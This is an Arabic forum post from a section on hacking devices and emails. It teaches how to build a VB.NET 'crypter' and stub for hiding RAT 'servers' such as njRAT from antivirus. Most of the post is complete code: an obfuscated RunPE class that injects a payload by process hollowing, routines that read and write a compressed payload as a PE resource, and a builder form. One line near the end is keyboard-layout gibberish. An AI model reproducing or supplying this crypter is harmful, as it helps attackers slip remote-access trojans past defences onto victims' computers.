برنامج.برنامج.برنامج
اليوم شرحنا عمل برنامج تشفير + ست اب
الاهدائات الى الاداره منتدى
شرح بي صور مني متكلم بس بضع الاكواد
طريقه تشفير ست اب تشفيرته عادي كانك تشفر باتش نجرات بس بعض مرات ينعطب انتبه يعني مايمديك تشفره بي vb.net
شررح عمل ست اب للبرنامج
===================================
======================================
=================================
موديل الاول ضع كود
 |
|
 |
|
Imports System.Runtime.InteropServices
Imports System.Text
'''' <summary>
'''' Coder : Rahoz
'''' RunPE Coder : Simon-Binyo
'''' Call : Dim x AS New pCcpcjNyOC: x.jcIvLPDsiYR( byte() , String )
'''' Purpose : Execute App In Memory from byte array
'''' </summary>
Public Class pCcpcjNyOC
Public Declare Function gzeYnR Lib "kernel32" Alias "LoadLibraryA" (ByVal hqgK As String) As IntPtr
Public Declare Function xUEMcB Lib "kernel32" Alias "GetProcAddress" (ByVal FEvCRS As IntPtr, ByVal hqgK As String) As IntPtr
Function aJNhoyTJsvLrWpz(Of T)(ByVal hqgK As String, ByVal xOXU As String) As T
Return DirectCast(DirectCast(Marshal.GetDelegateForFuncti onPointer(xUEMcB(gzeYnR(hqgK), xOXU), GetType(T)), Object), T)
End Function
Delegate Function TLHoke(ByVal PlML As IntPtr, ByVal uvLyhyRwy As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function uZGSy(ByVal dbSp As IntPtr, ByVal JElq As IntPtr) As UInteger
Delegate Function lyUMSN(ByVal dbSp As IntPtr, ByVal JElq As IntPtr, ByRef bufr As IntPtr, ByVal bufrzcmSotDjG As Integer, ByRef ODbe As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function SZWrPg(ByVal PlMLead As IntPtr, ByVal FEvC As IntPtr) As UInteger
Delegate Function FVBKet(ByVal PlML As IntPtr, ByVal uvLyhyRwy As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function CJwTUw(ByVal dbSp As IntPtr, ByVal VcmM As IntPtr, ByVal zcmSotDjG As IntPtr, ByVal BFFO As Integer, ByVal xnAH As Integer) As IntPtr
Delegate Function pyKyJ(ByVal dbSpess As IntPtr, ByVal sQqnxAsYh As IntPtr, ByVal wGPa As Byte(), ByVal nzcmSotDjG As UInteger, ByVal ypBVTuJwJ As Integer) As Boolean
Public Declare Auto Function ndoWCL Lib "kernel32" Alias "CreateProcessW" (ByVal MdGk As String, ByVal sGZm As StringBuilder, ByVal tHsZwaOzb As IntPtr, ByVal aTLO As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal nHjy As Boolean, ByVal DfaI As Integer, ByVal jItJ As IntPtr, ByVal RVgm As String, ByVal eIDV As Byte(), ByVal ugug As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Private Function oxEEdfR(ByVal VjNbJYu As Long, Optional ByVal FSetSOB As Long = &H4) As Integer
Dim VeOLPYK As IntPtr
Dim KEEeTIY As Integer
Dim MtDhE As lyUMSN = aJNhoyTJsvLrWpz(Of lyUMSN)("ntdll", "NtReadVirtualMemory")
Call MtDhE(Process.GetCurrentProcess.Handle, VjNbJYu, VeOLPYK, FSetSOB, KEEeTIY)
Return VeOLPYK
End Function
Public Function jcIvLPDsiYR(ByVal MajTKhVC As Byte(), ByVal ZYEjBUCy As String) As Boolean
Try
Dim mWazsGkvy As GCHandle = GCHandle.Alloc(MajTKhVC, GCHandleType.Pinned) : Dim hModuleBase As Integer = mWazsGkvy.AddrOfPinnedObject : mWazsGkvy.Free()
Dim tHsZwaOzb As IntPtr = IntPtr.Zero
Dim edunaPPwC As IntPtr() = New IntPtr(3) {}
Dim VYGkaxhSF As Byte() = New Byte(67) {}
Dim Mlhzyhpl As Integer = BitConverter.ToInt32(MajTKhVC, 60)
Dim AadHsSKBC As Integer
Dim uvLyhyRwy As UInteger() = New UInteger(178) {}
uvLyhyRwy(0) = &H10002
ndoWCL(Nothing, New StringBuilder(ZYEjBUCy), tHsZwaOzb, tHsZwaOzb, False, 4, tHsZwaOzb, Nothing, VYGkaxhSF, edunaPPwC)
Dim LtfNzHUZr As Integer = (hModuleBase + oxEEdfR(hModuleBase + &H3C))
AadHsSKBC = oxEEdfR(LtfNzHUZr + &H34)
Dim OZgDj As uZGSy = aJNhoyTJsvLrWpz(Of uZGSy)("ntdll", "NtUnmapViewOfSection")
OZgDj(edunaPPwC(0), AadHsSKBC)
Dim dxXNQ As CJwTUw = aJNhoyTJsvLrWpz(Of CJwTUw)("kernel32", "VirtualAllocEx")
Dim sQqnxAsYh As IntPtr = dxXNQ(edunaPPwC(0), AadHsSKBC, oxEEdfR(LtfNzHUZr + &H50), &H3000, &H40)
Dim xJZnVsqp As New IntPtr(BitConverter.ToInt32(MajTKhVC, Mlhzyhpl + &H34))
Dim zcmSotDjG As New IntPtr(BitConverter.ToInt32(MajTKhVC, Mlhzyhpl + 80))
Dim cJGluqUhJ As Integer
Dim ypBVTuJwJ As Integer
Dim api8 As pyKyJ = aJNhoyTJsvLrWpz(Of pyKyJ)("ntdll", "NtWriteVirtualMemory")
api8(edunaPPwC(0), sQqnxAsYh, MajTKhVC, CUInt(CInt(oxEEdfR(LtfNzHUZr + &H54))), cJGluqUhJ)
For i = 0 To oxEEdfR(LtfNzHUZr + &H6, 2) - 1
Dim wbnTMWiDS As Integer() = New Integer(9) {}
Buffer.BlockCopy(MajTKhVC, (Mlhzyhpl + &HF8) + (i * 40), wbnTMWiDS, 0, 40)
Dim HtgOYlytD As Byte() = New Byte((wbnTMWiDS(4) - 1)) {}
Buffer.BlockCopy(MajTKhVC, wbnTMWiDS(5), HtgOYlytD, 0, HtgOYlytD.Length)
zcmSotDjG = New IntPtr(sQqnxAsYh.ToInt32() + wbnTMWiDS(3))
xJZnVsqp = New IntPtr(HtgOYlytD.Length)
api8(edunaPPwC(0), zcmSotDjG, HtgOYlytD, CUInt(xJZnVsqp), ypBVTuJwJ)
Next i
Dim GZsPc As TLHoke = aJNhoyTJsvLrWpz(Of TLHoke)("ntdll", "NtGetContextThread")
GZsPc(edunaPPwC(1), uvLyhyRwy)
api8(edunaPPwC(0), uvLyhyRwy(41) + &H8, BitConverter.GetBytes(sQqnxAsYh.ToInt32()), CUInt(&H4), ypBVTuJwJ)
uvLyhyRwy(&H2C) = AadHsSKBC + oxEEdfR(LtfNzHUZr + &H28)
Dim tJHgN As FVBKet = aJNhoyTJsvLrWpz(Of FVBKet)("ntdll", "NtSetContextThread")
tJHgN(edunaPPwC(1), uvLyhyRwy)
Dim rquNN As SZWrPg = aJNhoyTJsvLrWpz(Of SZWrPg)("ntdll", "NtResumeThread")
rquNN(edunaPPwC(1), 0)
Catch ex As Exception
Return False
End Try
Return True
End Function
End Class |
|
 |
|
 |
================================
كود ثاني تضع فيه
|
|
|
|
Imports System.Runtime.InteropServices
Module gsoijdMkeytY
<DllImport("kernel32.dll", SetLastError:=True)> _
Private Function FindResource(ByVal ZlsTnllYezlL As IntPtr, ByVal lpName As String, ByVal lpType As String) As IntPtr
End Function
Private Declare Function JNBJGAPChMdi Lib "kernel32" Alias "GetModuleHandleA" (ByVal moduleName As String) As IntPtr
Private Declare Function SizeofResource Lib "kernel32" (ByVal ZlsTnllYezlL As IntPtr, ByVal hResInfo As IntPtr) As Integer
Private Declare Function LoadResource Lib "kernel32" (ByVal ZlsTnllYezlL As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
Public Function CoqalHyeEZps(ByVal MVHjXxNPwlcC As String) As Byte()
Dim ZlsTnllYezlL As IntPtr = JNBJGAPChMdi(MVHjXxNPwlcC)
Dim PcOKouMcMJaW As IntPtr = FindResource(ZlsTnllYezlL, "12", "Simon")
Dim JDDcSAvEjWmg As IntPtr = LoadResource(ZlsTnllYezlL, PcOKouMcMJaW)
Dim FOLUbFmExmUo = SizeofResource(ZlsTnllYezlL, PcOKouMcMJaW)
Dim fEUUehyJxiz As Byte() = New Byte(FOLUbFmExmUo - 1) {}
Marshal.Copy(JDDcSAvEjWmg, fEUUehyJxiz, 0, CInt(FOLUbFmExmUo))
Return fEUUehyJxiz
End Function
End Module |
|
|
|
|
===================================
كود ثلاث تضع
|
|
|
|
Imports System.IO.Compression
Imports System.IO
Public Class Compression
Public Shared Function Compress(ByVal bytData() As Byte) As Byte()
Using oMS As New MemoryStream()
'GZip object that compress the file
Using oGZipStream As New GZipStream(oMS, CompressionMode.Compress)
'Write to the Stream object from the buffer
oGZipStream.Write(bytData, 0, bytData.Length)
oGZipStream.Close()
ReDim bytData(oMS.ToArray.Length - 1)
bytData = oMS.ToArray
End Using
oMS.Close()
End Using
Return bytData
End Function
Public Shared Function Decompress(ByVal bytData() As Byte) As Byte()
Using oMS As New MemoryStream(bytData)
Using oGZipStream As New GZipStream(oMS, CompressionMode.Decompress)
Const CHUNK As Integer = 1024
Dim intTotalBytesRead As Integer = 0
Do
' Enlarge the buffer.
ReDim Preserve bytData(intTotalBytesRead + CHUNK - 1)
' Read the next chunk.
Dim intBytesRead As Integer = oGZipStream.Read(bytData, intTotalBytesRead, CHUNK)
intTotalBytesRead += intBytesRead
' See if we're done.
If intBytesRead < CHUNK Then
' We're done. Make the buffer fit the data.
ReDim Preserve bytData(intTotalBytesRead - 1)
Exit Do
End If
Loop
oGZipStream.Close()
End Using
oMS.Close()
End Using
Return bytData
End Function
End Class |
|
|
|
|
=========================================
كود 4 تضع
|
|
|
|
Module Module4
Sub main()
Dim ebytes() As Byte
Dim dbytes() As Byte
ebytes = CoqalHyeEZps(Application.ExecutablePath)
dbytes = Compression.Decompress(ebytes)
Dim x As New pCcpcjNyOC : x.jcIvLPDsiYR((dbytes), Application.ExecutablePath)
End Sub
End Module |
|
|
|
|
==================================================
خلاصنا من الاكواد الحين نكمل شرح
===============================================
==========================================
====================================
=====================================
====================================
==================================
خلاصنا من صنع شتب الحين صنع برنامح 11 صوره <<
=================================================
=================================
===============================
==============================
اضغط على كلمة add file وحط ذا كود
|
|
|
|
Dim OpenFD As New OpenFileDialog
With OpenFD
.Title = "اختر سيرفراً لتشفيرة"
.Filter = "تطبيقات|*.exe"
.ShowDialog()
End With
TextBox1.Text = OpenFD.FileName |
|
|
|
|
========================================
==================================
اضغط على كلمة crypter وحط ذا كود
|
|
|
|
Dim kbytes() As Byte
Dim ebytes() As Byte
Dim SVD As New SaveFileDialog
With SVD
.Title = "اختر مكان حفظ السيرفر المشفر"
.Filter = "تطبيقات|*.exe"
.ShowDialog()
End With
kbytes = IO.File.ReadAllBytes(TextBox1.Text)
ebytes = Compression.Compress(kbytes)
IO.File.WriteAllBytes(SVD.FileName, My.Resources.اشم شت اب حقك)
WriteResource(SVD.FileName, ebytes)
MsgBox("تم تشفير بنجاح") |
|
|
|
|
=================================================
ضع موديلين واحذف كل الي فيه وضع هاذا كود في موديل الاول
|
|
|
|
Imports System.IO.Compression
Imports System.IO
Public Class Compression
Public Shared Function Compress(ByVal bytData() As Byte) As Byte()
Using oMS As New MemoryStream()
'GZip object that compress the file
Using oGZipStream As New GZipStream(oMS, CompressionMode.Compress)
'Write to the Stream object from the buffer
oGZipStream.Write(bytData, 0, bytData.Length)
oGZipStream.Close()
ReDim bytData(oMS.ToArray.Length - 1)
bytData = oMS.ToArray
End Using
oMS.Close()
End Using
Return bytData
End Function
Public Shared Function Decompress(ByVal bytData() As Byte) As Byte()
Using oMS As New MemoryStream(bytData)
Using oGZipStream As New GZipStream(oMS, CompressionMode.Decompress)
Const CHUNK As Integer = 1024
Dim intTotalBytesRead As Integer = 0
Do
' Enlarge the buffer.
ReDim Preserve bytData(intTotalBytesRead + CHUNK - 1)
' Read the next chunk.
Dim intBytesRead As Integer = oGZipStream.Read(bytData, intTotalBytesRead, CHUNK)
intTotalBytesRead += intBytesRead
' See if we're done.
If intBytesRead < CHUNK Then
' We're done. Make the buffer fit the data.
ReDim Preserve bytData(intTotalBytesRead - 1)
Exit Do
End If
Loop
oGZipStream.Close()
End Using
oMS.Close()
End Using
Return bytData
End Function
End Class |
|
|
|
|
=======================================
وموديل ثاني
|
|
|
|
Imports System.Runtime.InteropServices
Module ResourceWriter
Private Function ToPtr(ByVal data As Object) As IntPtr
Dim h As GCHandle = GCHandle.Alloc(data, GCHandleType.Pinned)
Dim ptr As IntPtr
Try
ptr = h.AddrOfPinnedObject()
Finally
h.Free()
End Try
Return ptr
End Function
<DllImport("kernel32.dll", SetLastError:=True)> _
Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger) As Boolean
End Function
<DllImport("kernel32.dll", SetLastError:=True)> _
Private Function BeginUpdateResource(ByVal pFileName As String, <MarshalAs(UnmanagedType.Bool)> ByVal bDeleteExistingResources As Boolean) As IntPtr
End Function
<DllImport("kernel32.dll", SetLastError:=True)> _
Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As Boolean
End Function
Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean
Try
Dim handle As IntPtr = BeginUpdateResource(filename, False)
Dim file1 As Byte() = bytes
Dim fileptr As IntPtr = ToPtr(file1)
Dim res As Boolean = UpdateResource(handle, "Simon", "12", 0, fileptr, Convert.ToUInt32(file1.Length))
EndUpdateResource(handle, False)
Catch ex As Exception
Return False
End Try
Return True
End Function
End Module |
|
|
|
|
=======================================
====================================
======================================
====================================
====================================
======================================
تم الانتهاء من شرح الحين صور للبرنامج
========================================
====================================
================================
كم قلتلكم طريقه تشفير شت اب كاطريقه تشفير نجرات بش بعض الاحين ينعطب
ولله شرح متعوب عليه والله يخليكم ادعولي
+
لاحلل ولاابيح من ينقل ولا يذكر حقوق
الى جيت تنقل اذكر حقوق لاهنت او لاتنقل
=====================================
شباب عادي تشتخدم فيجول شتديو او بيشك او 2010 او 2013 او 2012
عادي كلها واحد
ulg fvkhl[ jatdv fjtwdg lgg < f'vdri wpdpi gud,k;l fvkhl[>fvkhl[>fvkhl[
منذ /11-11-2013, 07:39 PM
عمل برنامج تشفير بتفصيل ملل < بطريقه صحيحه لعيونكم
]
جديد قسم إختراق الأجـهـزه والأيـمـيـلات
العرض العادي
